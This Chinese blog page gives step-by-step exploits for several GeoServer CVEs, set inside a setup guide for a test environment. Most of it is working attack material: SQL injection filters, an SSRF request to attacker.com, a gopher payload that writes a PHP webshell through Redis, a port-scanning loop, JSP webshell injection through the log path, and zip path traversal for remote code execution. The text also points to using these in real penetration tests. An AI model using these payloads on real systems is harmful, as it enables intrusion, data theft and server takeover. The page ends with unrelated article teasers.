当前位置: 首页 > article >正文

GeoServer漏洞复现实战:从SQL注入到SSRF的5个关键CVE解析(附环境搭建指南)

GeoServer漏洞复现深度指南从环境搭建到实战利用1. 环境准备与基础配置在开始漏洞复现之前我们需要搭建一个完整的GeoServer测试环境。以下是详细的配置步骤1.1 GeoServer安装与启动首先从官网下载GeoServer 2.22.1版本该版本包含多个历史漏洞wget https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.1/geoserver-2.22.1-bin.zip unzip geoserver-2.22.1-bin.zip cd geoserver-2.22.1/bin sh startup.sh注意确保系统已安装Java 8或11环境可通过java -version验证1.2 PostGIS环境配置对于需要数据库交互的漏洞如CVE-2023-25157需配置PostgreSQLPostGISdocker pull postgres:14 docker run -e POSTGRES_PASSWORDpassword -p 5432:5432 -d postgres:14 docker exec -it [CONTAINER_ID] /bin/bash apt-get update apt-get install -y postgis postgresql-14-postgis-3 psql -U postgres -c CREATE EXTENSION postgis;1.3 必要扩展安装部分漏洞需要WPS等扩展支持下载WPS插件wget https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.1/extensions/geoserver-2.22.1-wps-plugin.zip将解压后的JAR文件复制到WEB-INF/lib目录重启GeoServer服务2. CVE-2023-25157SQL注入漏洞实战2.1 漏洞原理分析该漏洞存在于OGC Filter的解析过程中影响以下过滤器类型过滤器类型受影响函数PropertyIsLikestrStartsWith/strEndsWithFeatureIdjsonArrayContainsDWithin几何计算函数漏洞核心在于GeoServer未对用户输入的CQL_FILTER参数进行充分过滤导致恶意SQL语句被拼接执行。2.2 完整复现步骤创建测试图层工作区vuln_test数据存储PostGIS连接配置图层名称test_layer添加字符串类型属性name构造恶意请求GET /geoserver/wfs?servicewfsversion1.0.0requestGetFeature typeNamevuln_test:test_layer CQL_FILTERstrStartsWith(name,x)true AND 1(SELECT CAST((SELECT version()) AS integer))-- HTTP/1.1观察响应中的数据库报错信息包含PostgreSQL版本详情2.3 漏洞利用技巧信息收集通过修改SELECT语句可获取数据库用户、表结构等信息数据导出使用COPY TO命令导出敏感数据权限提升利用PostgreSQL大对象函数写入webshell提示实际渗透中需先通过SELECT postgis_version()确认扩展安装情况3. CVE-2023-43795SSRF漏洞深度利用3.1 WPS服务配置验证首先确认WPS扩展已正确安装访问/geoserver/web/管理界面左侧服务列表应显示WPS选项通过Demo WPS Request Builder测试基本功能3.2 SSRF漏洞利用链标准POCPOST /geoserver/wps HTTP/1.1 Host: target:8080 Content-Type: application/xml wps:Execute xmlns:wpshttp://www.opengis.net/wps/1.0.0 ows:IdentifierJTS:area/ows:Identifier wps:DataInputs wps:Input ows:Identifiergeom/ows:Identifier wps:Reference xlink:hrefhttp://attacker.com/ /wps:Input /wps:DataInputs /wps:Execute高级利用方式Redis未授权访问wps:Reference xlink:hrefgopher://redis:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0a%0a%3C%3Fphp%20system($_GET[%27cmd%27])%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a/内网服务探测for port in {1..65535}; do curl -X POST --data poc.xml http://target/geoserver/wps \ --header Content-Type: application/xml \ --proxy http://127.0.0.1:$port done4. CVE-2023-41877从文件读取到RCE的完整链条4.1 漏洞触发条件需要满足两个前提拥有管理员权限账户服务以Tomcat容器部署Jetty不支持JSP解析4.2 分步利用过程修改全局日志路径进入全局设置 日志文件位置将路径改为/var/lib/tomcat9/webapps/geoserver/logs/shell.jsp通过错误日志注入JSP代码GET /geoserver/ows?servicewmsversion1.3.0 request%Runtime.getRuntime().exec(request.getParameter(cmd));% HTTP/1.1访问生成的webshellGET /geoserver/logs/shell.jsp?cmdid HTTP/1.14.3 针对Jetty的替代方案当服务使用Jetty时可通过XML部署描述文件实现RCE修改日志路径为/var/lib/jetty/webapps/geoserver/WEB-INF/web.xml注入恶意Servlet配置servlet servlet-nameCommand/servlet-name jsp-file% Runtime.getRuntime().exec(request.getParameter(cmd)) %/jsp-file /servlet5. CVE-2023-51444文件上传漏洞的曲折利用5.1 漏洞前置知识该漏洞涉及ImageMosaic数据源的三个关键特性允许通过REST API管理栅格数据支持ZIP文件自动解压路径校验逻辑存在缺陷5.2 完整复现流程准备恶意ZIP包mkdir -p WEB-INF/classes/ echo % Runtime.getRuntime().exec(request.getParameter(cmd)); % shell.jsp zip -r exploit.zip WEB-INF/ shell.jsp分步执行攻击# 步骤1创建存储 curl -u admin:geoserver -XPOST -H Content-type: text/xml \ -d coverageStorenameexploit/nameworkspacesf/workspace/coverageStore \ http://target/geoserver/rest/workspaces/sf/coveragestores # 步骤2上传ZIP curl -u admin:geoserver -XPUT -H Content-type: application/zip \ --data-binary exploit.zip \ http://target/geoserver/rest/workspaces/sf/coveragestores/exploit/file.imagemosaic # 步骤3路径穿越 curl -u admin:geoserver -XPUT -H Content-type: text/xml \ -d coverageStoreurlfile:/var/lib/tomcat9/webapps/geoserver//url/coverageStore \ http://target/geoserver/rest/workspaces/sf/coveragestores/exploit/external.imagemosaic5.3 实际渗透中的变通方法当标准POC失效时可尝试使用已有合法ImageMosaic的配置文件通过/etc/passwd等文件确定绝对路径结合其他漏洞获取路径信息在测试环境中发现通过修改url参数为file:data/../../webapps/geoserver/也可实现路径穿越

相关文章:

GeoServer漏洞复现实战:从SQL注入到SSRF的5个关键CVE解析(附环境搭建指南)

GeoServer漏洞复现深度指南:从环境搭建到实战利用 1. 环境准备与基础配置 在开始漏洞复现之前,我们需要搭建一个完整的GeoServer测试环境。以下是详细的配置步骤: 1.1 GeoServer安装与启动 首先从官网下载GeoServer 2.22.1版本(该…...

PDF-Extract-Kit-1.0实战案例:金融财报PDF自动结构化提取方案

PDF-Extract-Kit-1.0实战案例:金融财报PDF自动结构化提取方案 你是不是也遇到过这样的烦恼?面对一份几十页甚至上百页的PDF格式金融财报,需要手动从中找出关键数据——营收、利润、负债、现金流,然后一个个复制粘贴到Excel里。这…...

星图AI算力平台:零基础训练PETRV2-BEV模型,5步搞定自动驾驶感知

星图AI算力平台:零基础训练PETRV2-BEV模型,5步搞定自动驾驶感知 1. 为什么选择PETRV2-BEV模型? 自动驾驶技术的核心挑战之一是如何让车辆准确理解周围环境。BEV(Birds Eye View)模型通过将多视角传感器数据转换为统一…...

OpenClaw 超级 AI 实战专栏【补充内容】Token是什么(AI时代的必知概念)

目录 一、先搞懂:AI语境下,Token到底是什么? 二、核心原理:AI为什么要拆分Token?(关键必看) 1. 解决“一词多义”和“罕见词”痛点 2. 降低模型训练和运算成本 3. 适配多语言统一处理 三、关键延伸:Token的3个核心关联知识点(开发者必用) 1. 分词算法:Token是…...

C语言基础项目实战:编写简易客户端调用Ostrakon-VL-8B的REST API

C语言基础项目实战:编写简易客户端调用Ostrakon-VL-8B的REST API 你是不是觉得C语言项目总是离不开那些传统的计算和数据处理?想不想给你的C语言技能加点“魔法”,让它也能和前沿的AI模型对话?今天,我们就来动手做一个…...

文墨共鸣大模型网络安全知识库构建与威胁情报分析

文墨共鸣大模型:打造你的智能网络安全“副驾驶” 最近和几个做安全的朋友聊天,大家普遍有个头疼的问题:每天面对海量的漏洞报告、威胁情报和日志告警,眼睛都快看花了,关键信息还容易漏掉。一个刚曝出的高危漏洞&#…...

手把手教你用MetaMask和零知识证明玩转USDT混币器(附完整避坑指南)

手把手教你用MetaMask和零知识证明玩转USDT混币器(附完整避坑指南) 在加密货币的世界里,隐私保护正变得越来越重要。想象一下,你正在使用USDT进行日常交易,却发现每一笔转账都能被轻易追踪到你的钱包地址,…...

REX-UniNLU模型微调实战:领域适配指南

REX-UniNLU模型微调实战:领域适配指南 1. 引言 你是否遇到过这样的情况:用一个通用的自然语言理解模型处理专业领域文本时,效果总是不尽如人意?比如让模型理解医疗报告、法律条文或金融分析,结果往往差强人意。这就是…...

Qwen3.5-9B作品分享:9B模型在LeetCode图像题与Codeforces图表题中的解题表现

Qwen3.5-9B作品分享:9B模型在LeetCode图像题与Codeforces图表题中的解题表现 1. 模型概述与核心能力 Qwen3.5-9B是通义千问团队推出的新一代多模态大模型,在保持9B参数规模的同时,通过多项技术创新实现了性能的显著提升。这个模型特别适合处…...

动漫转真人AnythingtoRealCharacters2511与Python爬虫实战:自动化采集动漫素材

动漫转真人AnythingtoRealCharacters2511与Python爬虫实战:自动化采集动漫素材 1. 引言:当爬虫遇上AI绘画 你有没有遇到过这样的情况:想要把喜欢的动漫角色变成真人风格,但一张张手动处理太费时间?或者想要批量处理大…...

省下10小时读文献时间!百考通AI自动生成结构完整、引用规范的综述

在高校学术写作中,文献综述是科研工作的“导航仪”——它不仅系统梳理已有研究成果,更精准识别研究空白,为后续创新提供理论支撑。然而,对许多学生而言,这项任务常常成为论文写作中最耗时、最焦虑的一环:资…...

从零开始:ComfyUI Qwen-Image-Edit-F2P镜像部署与生成实战

从零开始:ComfyUI Qwen-Image-Edit-F2P镜像部署与生成实战 1. 认识Qwen-Image-Edit-F2P模型 1.1 模型核心能力 Qwen-Image-Edit-F2P是一款专注于人脸驱动全身图像生成的AI模型。它能够根据用户提供的人脸照片,自动生成符合人体结构的全身像。与普通图…...

从信息过载到学术洞察:百考通AI一键生成可直接用的文献综述初稿

在高校学术写作中,文献综述是科研工作的“导航图”——它不仅梳理已有成果,更指明研究空白与创新方向。然而,对许多学生而言,这项任务常常成为论文写作中最耗时、最焦虑的一环:资料庞杂难筛选、观点零散难整合、结构混…...

你的选题值得一篇好综述——百考通AI助你站在巨人肩膀上,看清研究方向

在高校学术写作中,文献综述是科研工作的“起跑线”——它不仅体现研究者对领域现状的把握,更直接影响论文的创新性与学术价值。然而,对许多学生而言,撰写一篇逻辑清晰、内容翔实、格式规范的综述常常令人倍感压力:资料…...

AudioLDM-S教育应用:C++编程音效反馈系统

AudioLDM-S教育应用:C编程音效反馈系统 学编程,尤其是C,很多时候挺枯燥的。对着黑漆漆的控制台,一遍遍编译、调试,错了就是一行冰冷的错误信息,对了也没什么特别的反馈。时间长了,很容易让人失…...

车载DAB认证全流程解析:从ETSI标准到市场准入实战指南

1. 车载DAB认证的核心价值与市场背景 车载DAB(Digital Audio Broadcasting)认证是数字音频广播设备进入国际市场的通行证。简单来说,它就像车辆的"国际驾照",证明你的产品能在全球不同地区的无线电频段上稳定工作。我经…...

Godot 4 源码解析 - 运行时图片资源动态加载机制

1. Godot 4动态加载图片的核心挑战 在开发电子书阅读器这类需要频繁更换内容的软件时,动态加载外部图片资源是个硬需求。我最初尝试用load()函数直接加载PNG文件时,发现无论如何调整路径参数,Godot 4始终无法正确显示图片。这个问题困扰了我整…...

X11转发实战:在XShell中轻松实现远程图形化界面操作

1. 为什么需要X11转发? 很多开发者都遇到过这样的场景:你有一台性能强大的远程Linux服务器,但为了节省资源,安装的是没有图形界面的纯命令行系统。这时候如果想运行一些图形化程序(比如数据库管理工具、IDE开发环境&am…...

SEER‘S EYE模型在操作系统概念教学中的互动应用

SEERS EYE模型在操作系统概念教学中的互动应用 你有没有过这样的经历?翻开操作系统教材,满眼都是“进程调度”、“虚拟内存”、“死锁”这些抽象概念,每个字都认识,但连在一起就像天书。传统的教学方式,往往是老师讲、…...

基于LiuJuan20260223Zimage构建企业级知识库与Java面试题系统

基于LiuJuan20260223Zimage构建企业级知识库与Java面试题系统 1. 引言 想象一下这个场景:公司新招了一批Java开发,技术负责人老张需要给他们做入职培训。他翻箱倒柜找出三年前整理的面试题文档,发现很多技术点已经过时了。他手动更新了几个…...

卷积神经网络原理详解:结合Phi-3-vision模型理解视觉特征提取

卷积神经网络原理详解:结合Phi-3-vision模型理解视觉特征提取 1. 从图像识别到特征提取:CNN为什么重要 想象你正在教一个小朋友认识动物。你不会直接让他记住"猫有2.4亿像素的特定排列",而是先教他注意胡须、尖耳朵这些特征。卷积…...

PyTorch池化层实战指南:从MaxPool到AdaptivePool的5种用法详解

PyTorch池化层实战指南:从MaxPool到AdaptivePool的5种用法详解 在计算机视觉和深度学习领域,池化层(Pooling Layer)作为卷积神经网络(CNN)的重要组成部分,扮演着特征降维和关键信息提取的关键角…...

PETRV2-BEV模型训练完整指南:从零开始构建BEV感知能力开发环境

PETRV2-BEV模型训练完整指南:从零开始构建BEV感知能力开发环境 本指南将手把手带你完成PETRV2-BEV模型的完整训练流程,从环境准备到模型部署,让你快速掌握BEV感知技术的核心实践方法。 1. 环境准备与快速开始 在开始训练之前,我们…...

为什么93%的嵌入式团队仍不敢用形式化验证?揭秘3个致命认知误区及2024最新轻量级验证工作流

第一章:形式化验证在嵌入式裸机开发中的不可替代性在资源受限、无操作系统抽象层的裸机环境中,任何未定义行为(如空指针解引用、栈溢出、中断竞态)都可能直接导致硬件锁死或安全关键功能失效。传统测试手段——包括单元测试、覆盖…...

抓紧时间学AI大模型,抓住金三银四机会抢占高薪offer(附转型大模型学习路线)!!!

2026年金三银四跳槽黄金期快来了!给大家整理了转型需要跳槽路径、学习建议、学习内容,有转型想法的宝子建议收藏~今年AI大模型应用开发工程师、AI产品经理、AI智能硬件解决方案工程师等AI行业的岗位数量将会暴涨。 数据显示,AI相关…...

手把手教你用NVIDIA Jetson AGX Orin运行PointRCNN:OpenPCDet环境搭建全流程

在NVIDIA Jetson AGX Orin上部署PointRCNN的完整实践指南 硬件准备与环境检查 拿到Jetson AGX Orin开发套件的第一件事,就是确认硬件规格是否符合要求。这款AI边缘计算设备的算力高达275 TOPS,但不同版本的内存和存储配置有所差异。建议至少选择32GB内存…...

伏羲气象大模型Python入门教程:从零开始调用API

伏羲气象大模型Python入门教程:从零开始调用API 你是不是也对AI天气预报感到好奇?想亲手试试用代码调用一个强大的气象模型,看看它怎么预测天气?今天,我们就来一起动手,从零开始,在CSDN星图GPU…...

Alpamayo-R1-10B参数详解:Top-p/温度/采样数对轨迹预测的影响分析

Alpamayo-R1-10B参数详解:Top-p/温度/采样数对轨迹预测的影响分析 1. 项目背景与模型概述 Alpamayo-R1-10B是NVIDIA开发的自动驾驶专用开源视觉-语言-动作(VLA)模型,核心为100亿参数规模的大型模型。该模型搭配AlpaSim模拟器与P…...

Chandra OCR惊艳效果:长小字92.3分识别,发票明细/药品说明书超小字体精准还原

Chandra OCR惊艳效果:长小字92.3分识别,发票明细/药品说明书超小字体精准还原 1. 开篇:重新定义OCR精度标准 当你面对密密麻麻的发票明细、药品说明书上蚂蚁般的小字,或者扫描合同里模糊的条款时,是不是经常感叹&…...

保姆级教程:Stable Diffusion v1.5 Archive 零基础入门,从安装到出图全流程

保姆级教程:Stable Diffusion v1.5 Archive 零基础入门,从安装到出图全流程 1. 环境准备与快速部署 1.1 系统要求 在开始之前,请确保你的系统满足以下基本要求: 操作系统:Linux(推荐Ubuntu 20.04/22.04…...